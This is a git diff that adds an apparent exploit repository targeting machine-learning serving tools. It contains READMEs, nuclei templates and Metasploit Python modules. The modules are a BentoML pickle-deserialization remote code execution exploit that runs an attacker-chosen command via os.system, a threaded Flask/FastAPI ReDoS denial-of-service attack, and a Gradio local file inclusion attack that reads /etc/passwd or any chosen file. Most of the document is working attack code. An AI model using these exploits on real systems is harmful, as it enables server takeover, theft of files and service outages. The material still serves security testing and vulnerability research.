diff --git a/bentoml/README.md b/bentoml/README.md new file mode 100644 index 0000000..e1b3bf7 --- /dev/null +++ b/bentoml/README.md @@ -0,0 +1,26 @@ +# BentoML Vulnerabilities and Exploits + +BentoML is a model serving framework that offers a unified standard for AI inference, model packaging, and serving optimizations. + +## Vulnerabilities + +### Remote Code Execution + +- **Description**: BentoML < 1.2.5 is vulnerable to RCE via Python object deserialization. +- **Impact**: This vulnerability could allows an attacker to gain Remote Code Execution on the server running the BentoML inference server. + +## Reports + +- **@pinkdraconian**: https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68 + +## Disclaimer + +The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only. + +## Contribution + +Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository. + +## License + +All exploits and templates in this repository are released under the Apache 2.0 License. \ No newline at end of file diff --git a/bentoml/bentoml-rce.yaml b/bentoml/bentoml-rce.yaml new file mode 100644 index 0000000..d922209 --- /dev/null +++ b/bentoml/bentoml-rce.yaml @@ -0,0 +1,29 @@ +id: bentoml-rce + +info: + name: BentoML Insecure Deserialization RCE Simulation + author: DanMcInerney, byt3bl33d3r, pinkdraconian + severity: critical + description: Simulates an insecure deserialization attack on BentoML to trigger remote code execution. Binary data is string "protectai" pickled. + reference: + - https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cwe-id: CWE-1188 # Insecure Default Initialization of Resource + tags: bentoml, rce, deserialization, protectai, huntr, ai, machine-learning + +requests: + - method: POST + path: + - "{{BaseURL}}/summarize" + headers: + Content-Type: "application/vnd.bentoml+pickle" + body: !!binary | + gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAlwcm90ZWN0YWmUhZRSlC4= + matchers-condition: and + matchers: + - type: word + words: + - "Input should be a valid dictionary or instance of Input" + part: body \ No newline at end of file diff --git a/bentoml/bentoml_pickle_rce.py b/bentoml/bentoml_pickle_rce.py new file mode 100755 index 0000000..93b6e32 --- /dev/null +++ b/bentoml/bentoml_pickle_rce.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html + +# standard modules +import logging +import pickle +import os +from urllib.parse import urljoin +from metasploit import module + +# extra modules +dependencies_missing = False +try: + import requests +except ImportError: + dependencies_missing = True + +metadata = { + 'name': 'BentoML Pickle RCE', + 'description': ''' + RCE in BentoML (=< 1.2.5) through pickle deserialization. + ''', + 'authors': [ + 'pinkdraconian', # Vulnerability discovery + 'byt3bl33d3r ' # MSF module + ], + 'rank': 'excellent', + 'date': '2024-02-06', + 'license': 'MSF_LICENSE', + 'references': [ + {'type': 'url', 'ref': 'https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68'}, + {'type': 'cve', 'ref': 'CVE-2024-2912'} + ], + 'type': 'remote_exploit_cmd_stager', + 'targets': [ + {'platform': 'linux', 'arch': 'aarch64'}, + {'platform': 'linux', 'arch': 'x64'}, + {'platform': 'linux', 'arch': 'x86'} + ], + 'default_options': { + 'MeterpreterTryToFork': True + }, + 'payload': { + 'command_stager_flavor': 'wget' + }, + 'options': { + 'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': 'echo "Hello from Metasploit"'}, + 'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None}, + 'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 3000}, + 'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}, + 'api_endpoint': {'type': 'string', 'description': 'The BentoML API endpoint to send the request to', 'required': True, 'default': '/summarize'} + } +} + +def convert_args_to_correct_type(args): + ''' + Utility function to correctly "cast" the modules options to their correct types according to the options. + + When a module is run using msfconsole, the module args are all passed as strings + so we need to convert them manually. I'd use pydantic but want to avoid extra deps. + ''' + + corrected_args = {} + + for k,v in args.items(): + option_to_convert = metadata['options'].get(k) + if option_to_convert: + type_to_convert = metadata['options'][k]['type'] + if type_to_convert == 'bool': + if isinstance(v, str): + if v.lower() == 'false': + corrected_args[k] = False + elif v.lower() == 'true': + corrected_args[k] = True + + if type_to_convert == 'port': + corrected_args[k] = int(v) + + return {**args, **corrected_args} + +def run(args): + args = convert_args_to_correct_type(args) + + module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ") + + logging.debug(args) + if dependencies_missing: + logging.error('Module dependency (requests) is missing, cannot continue') + return + + base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}" + + class P(object): + def __reduce__(self): + return (os.system,(args['command'],)) + + full_url = f"{base_url}" + args['api_endpoint'] + logging.info(f"Sending request to {full_url}") + + r = requests.post( + full_url, + pickle.dumps(P()), headers={"Content-Type": "application/vnd.bentoml+pickle"} + ) + logging.debug(f"{r.status_code} - {r.text}") + +if __name__ == '__main__': + module.run(metadata, run) diff --git a/fastapi/README.md b/fastapi/README.md new file mode 100644 index 0000000..623f5aa --- /dev/null +++ b/fastapi/README.md @@ -0,0 +1,29 @@ +# Flask/FastAPI Vulnerabilities and Exploits + +Flask and FastAPI are vulnerable to a Regex Denial of Service (ReDoS). +The request needs to be submitted to a POST API endpoint that attempts the read the request body. + +FastAPI is only vulnerable when processing Form data and not JSON. + +## Vulnerabilities + +### ReDOS + +- **Description**: FastAPI < 0.109.0 is vulnerable to a ReDoS when preocessing form data. Flask is still vulnerable. +- **Impact**: An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources. + +## Reports + +- **@nicecatch2000**: https://huntr.com/bounties/6745259d-d16e-4fe5-97fe-113b64d6134f/ + +## Disclaimer + +The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only. + +## Contribution + +Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository. + +## License + +All exploits and templates in this repository are released under the Apache 2.0 License. \ No newline at end of file diff --git a/fastapi/flask_dos.py b/fastapi/flask_dos.py new file mode 100755 index 0000000..3c1c3e3 --- /dev/null +++ b/fastapi/flask_dos.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html + +# standard modules +import logging +import concurrent.futures +from urllib.parse import urljoin + +# extra modules +dependencies_missing = False +try: + import requests + from requests import Request, Session +except ImportError: + dependencies_missing = True + +from metasploit import module + + +metadata = { + 'name': 'Flask Content-Type ReDoS', + 'description': ''' + Flask is vulnerable to a Regex Denial of Service (ReDoS). + The request needs to be submitted to a POST API endpoint that attempts the read the request body. + ''', + 'authors': [ + 'nicecatch2000' # Vuln discovery + 'byt3bl33d3r ' # MSF Module + ], + + 'rank': 'excellent', + 'date': '2023-11-15', + 'license': 'MSF_LICENSE', + 'references': [ + {'type': 'url', 'ref': 'https://huntr.com/bounties/6745259d-d16e-4fe5-97fe-113b64d6134f/'}, + {'type': 'cve', 'ref': ''} + ], + 'type': 'dos', + 'options': { + 'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None}, + 'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 80}, + 'dos_threads': {'type': 'int', 'description': 'Max number of concurrent threads', 'required': True, 'default': 10}, + 'url_path': {'type': 'string', 'description': 'URL Path', 'required': False, 'default': '/'}, + 'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False} + } +} + +def convert_args_to_correct_type(args): + ''' + Utility function to correctly "cast" the modules options to their correct types according to the options. + + When a module is run using msfconsole, the module args are all passed as strings + so we need to convert them manually. I'd use pydantic but want to avoid extra deps. + ''' + + corrected_args = {} + + for k,v in args.items(): + option_to_convert = metadata['options'].get(k) + if option_to_convert: + type_to_convert = metadata['options'][k]['type'] + if type_to_convert == 'bool': + if isinstance(v, str): + if v.lower() == 'false': + corrected_args[k] = False + elif v.lower() == 'true': + corrected_args[k] = True + + if type_to_convert == 'port' or type_to_convert == 'int': + corrected_args[k] = int(v) + + return {**args, **corrected_args} + +def redos(url: str, worker_n: int): + logging.info(f"DoS thread {worker_n} started") + + r = requests.post( + url, + data={"a": 1}, + headers={ + "Content-Type": 'application/x-www-form-urlencoded; !="{}'.format("\\" * 117) + }, + timeout = 1 + ) + + return r.status_code, r.text + +def run(args): + args = convert_args_to_correct_type(args) + + module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ") + + logging.debug(args) + if dependencies_missing: + logging.error('Module dependency (requests) is missing, cannot continue') + return + + MAX_WORKERS = args['dos_threads'] + base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}" + url = urljoin(base_url, args['url_path']) + + with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: + future_to_index = {executor.submit(redos, url, i): i for i in range(0,MAX_WORKERS)} + done, not_done = concurrent.futures.wait(future_to_index, timeout=MAX_WORKERS) + + logging.info("Completed, server should be unresponsive") + +if __name__ == '__main__': + module.run(metadata, run) diff --git a/gradio/README.md b/gradio/README.md new file mode 100644 index 0000000..f1fad4a --- /dev/null +++ b/gradio/README.md @@ -0,0 +1,26 @@ +# Gradio Vulnerabilities and Exploits + +Gradio is the fastest way to demo your machine learning model with a friendly web interface so that anyone can use it. + +## Vulnerabilities + +### Local File Inclusion + +- **Description**: Gradio < 4.3.0 is vulnerable to an LFI in the `/component_server` API endpoint. +- **Impact**: This vulnerability allows an attacker to read files off the filesystem remotely. + +## Reports + +- **@ozelis**: https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338 + +## Disclaimer + +The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only. + +## Contribution + +Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository. + +## License + +All exploits and templates in this repository are released under the Apache 2.0 License. \ No newline at end of file diff --git a/gradio/gradio-lfi.yaml b/gradio/gradio-lfi.yaml new file mode 100644 index 0000000..43ae8b6 --- /dev/null +++ b/gradio/gradio-lfi.yaml @@ -0,0 +1,66 @@ +id: gradio-local-file-include +info: + name: Gradio Local File Read Vulnerability + author: ozelis, DanMcInerney + severity: high + description: This nuclei template checks for Local File Read vulnerability in Gradio applications. + reference: + - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338 + - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2 + classification: + cvss-score: 7.5 + cwe-id: CWE-29 + cve-id: CVE-2024-1561 + tags: gradio, lfi, local-file-include, python, api, ai, machine-learning, huntr + +requests: + - method: GET + path: + - "{{BaseURL}}/config" + + extractors: + - type: json + part: body + name: component_id + internal: true + json: + - ".components[0].id" + + - method: POST + path: + - "{{BaseURL}}/component_server" + + headers: + Content-Type: application/json + + body: | + { + "component_id": "{{component_id}}", + "data": "/etc/passwd", + "fn_name": "move_resource_to_block_cache", + "session_hash": "aaaaaaaaaaa" + } + + extractors: + - type: regex + part: body + name: extracted_content + internal: true + group: 1 + regex: + - "\"(.+)\"" + + - method: GET + path: + - "{{BaseURL}}/file={{extracted_content}}" + + matchers-condition: and + + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 \ No newline at end of file diff --git a/gradio/gradio_lfi.py b/gradio/gradio_lfi.py new file mode 100755 index 0000000..370cf2c --- /dev/null +++ b/gradio/gradio_lfi.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +# Metasploit external module +# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html + +import logging +import re + +# extra modules +dependencies_missing = False +try: + import requests +except ImportError: + dependencies_missing = True + +from metasploit import module + + +metadata = { + 'name': 'Gradio Local File Include Vulnerability', + 'description': ''' + Gradio applications are vulnerable to Local File Inclusion (LFI) via the component_server endpoint. + This module exploits the vulnerability to read arbitrary files from the target system. + ''', + 'authors': [ + 'Dan McInerney ', + 'ozelis', + ], + 'rank': 'excellent', + 'date': '2024-05-06', + 'license': 'MSF_LICENSE', + 'references': [ + {'type': 'url', 'ref': 'https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338'}, + {'type': 'cve', 'ref': 'CVE-2024-1561'} + ], + 'type': 'single_scanner', + 'options': { + 'filepath': {'type': 'string', 'description': 'File to read', 'required': True, 'default': '/etc/passwd'}, + 'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None}, + 'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 7860}, + 'ssl': {'type': 'bool', 'description': 'Use SSL/TLS for outgoing connections', 'required': True, 'default': False} + } +} + +def convert_args_to_correct_type(args): + ''' + Converts module options to their correct types. + ''' + corrected_args = {} + for k, v in args.items(): + option = metadata['options'].get(k) + if option: + type_to_convert = option['type'] + if type_to_convert == 'bool': + corrected_args[k] = v.lower() == 'true' + elif type_to_convert == 'port': + corrected_args[k] = int(v) + + return {**args, **corrected_args} + +def run(args): + args = convert_args_to_correct_type(args) + + module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ") + logging.debug(args) + + if dependencies_missing: + logging.error('Module dependency (requests) is missing, cannot continue') + return + + base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}" + + try: + with requests.Session() as s: + # Get app config to retrieve a valid component ID + rsp = s.get(f"{base_url}/config") + rsp.raise_for_status() + + # Extract the first component ID from the configuration + component_id = rsp.json()["components"][0]["id"] + + # Exploit the LFI vulnerability to get the file path + exploit_json = { + "component_id": component_id, + "data": args['filepath'], + "fn_name": "move_resource_to_block_cache", + "session_hash": "aaaaaaaaaaa" + } + + rsp = s.post(f"{base_url}/component_server", json=exploit_json) + rsp.raise_for_status() + + # Extract the temporary path and read the file + temp_path = re.findall(r'"(.*?)"', rsp.text)[0] + read_url = f"{base_url}/file={temp_path}" + + rsp = s.get(read_url) + rsp.raise_for_status() + + logging.info("File content:") + logging.info(rsp.text) + + except requests.exceptions.RequestException as e: + logging.error(f"Request error: {str(e)}") + return + +if __name__ == '__main__': + module.run(metadata, run) \ No newline at end of file